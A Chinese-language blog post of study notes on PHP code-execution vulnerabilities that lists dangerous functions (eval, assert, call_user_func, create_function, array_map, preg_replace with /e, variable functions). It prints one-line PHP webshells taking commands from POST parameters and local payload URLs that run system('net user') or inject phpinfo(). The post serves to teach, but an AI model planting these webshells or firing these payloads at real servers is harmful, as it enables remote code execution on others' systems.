前言
最近的日子簡簡單單 早上起來健身+散打來一套 看看電視劇學習學習吃吃飯一天就結束了emmmm太快了一天 所以要更加努力!更加勤奮!
PHP代碼執行漏洞
有的應用程序中提供了一些可以將字符串作為代碼執行的函數,例如PHP中的eval函數,可以將改函數的參數當做PHP代碼來執行。如果對這些函數的參數控制不嚴格,就可能會被攻擊者利用,執行惡意代碼
1. eval函數
eval函數把字符串作為PHP代碼執行
<?php eval("$_POST[1]")?>
2. assert函數
assert函數檢查一個斷言是否為FALSE
<?php assert($_POST[1])?>
3.call_user_func函數
call_user_func函數把第一個參數作為回調函數調用
函數語法:mixed call_user_func ( callable $callback , array $param_arr )
第一個參數callback是被調用的回調函數,其余參數是回調函數的參數
<?php call_user_func($_POST['fun'],$_POST['arg'])?>
此代碼為一句話木馬的變形代碼,通過POST型fun參數調用了system函數,通過POST型arg參數傳入net user命令,執行了system(‘net usert’),返回當前用戶信息
4. call_user_fun_array函數
call_user_func_array函數把第一個參數作為毀掉函數調用,把參數參數函數組作為回調函數
函數語法:mixed call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array函數把第一個參數作為回調,把參數數組作為回調函數的參數傳入
<?php call_user_func_array($_POST['fun'],$_POST['arg'])?>
5.create_function函數
create_function函數根據傳遞的參數創建匿名函數,並為該匿名函數返回唯一的名稱
函數語法:string create_function(string $arges , string $code)
示例代碼:
<?php $id=$_GET['id']; $code='echo'.$func.'test'.$id.'.'; create_function('$func',$code); ?>
create_function函數會創建虛擬函數轉變成如下代碼
<?php $id=$_GET['id']; function func($func){ echo "test".$id; } ?>
當id傳入1;}phpinfo();/*時 就可以造成代碼執行
Payload:
http://127.0.0.1/test.php?id=1;}phpinfo();/*
6. array_map函數
array_map函數為數組的每個元素應用回調函數
函數語法:array array_map(callable $callback,array $array[,array $array2…])
array_map函數返回為每個數組元素應用callback函數之后的數組。Callback函數形參的數量傳給array_map函數的數組的數量必須相同
<?php $func=$_GET['func']; $argv=$_GET['argv']; $array[0]=$argv; array_map($func,$array); ?>
Payload:
http://127.0.0.1/test.php?func=system&argv=net user
7.preg_replace函數
preg_replace函數執行一個正則表達式的搜索和替換
語法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。
<?php $subject="hello hack"; $pattern='/hack/'; $replacement=$_GET["name"]; echo preg_replace($pattern,$replacement,$subject) ?>
Payload:
http://127.0.0.1/test.php?name=xiaohua
Preg_replace函數會將hack替換成xiaohua,輸出hello xiaohua
Preg_replace函數存在模式修飾符,其中,修飾符e會讓preg_replace函數替換后的字符串作為PHP代碼去執行。
如果設置了這個被棄用的修飾符,preg_replace函數對替換字符串進行后向引用替換之后,將替換后的字符串作為PHP代碼執行(以eval函數方式),並使用執行結果作為實際參與替換的字符串。單引號、雙引號、反斜線(\)和null字符在后面向引用替換時會被自動加上反斜線轉義。
<?php $subject="hello hack"; $pattern='/hack/e'; $replacement=$_GET["name"]; echo preg_replace($pattern,$replacement,$subject) ?>
Payload:
http://127.0.0.1/test.php?name=phpinfo()
PHP可變函數
Php支持可變函數的概念:如果一個變量名后有圓括號,PHP將尋找與變量的值同名的函數,並且嘗試執行它。這就意味着在PHP中可以把函數名通過字符串的方式傳給一個變量,然后通過此變量動態地調用函數
<?php function foo(){ echo "foo"; echo "<br>"; } function bar(){ echo "bar"; echo "<br>"; } function echoit($string){ echo $string; echo "<br>"; } $func='foo'; $func(); $func='bar'; $func('test'); $func='echoit'; $func('test') ?>
雖然PHP可變函數給開發人員帶來了極大地便利,但同時也帶來了極大地安全隱患,如果函數的名稱可以被用戶控制,而且沒有做好過濾,就可能會造成惡意函數的執行。
Php可變函數漏洞示例代碼:
<?php function foo(){ echo "foo"; echo "<br>"; } function bar($arg=''){ echo "bar"; echo "<br>"; } function echoit($string){ echo $string; echo "<br>"; } $func=$_REQUEST['func']; $string=$_REQUEST['string']; echo $func($string); ?>
參考學習:《web安全原理分析與實踐》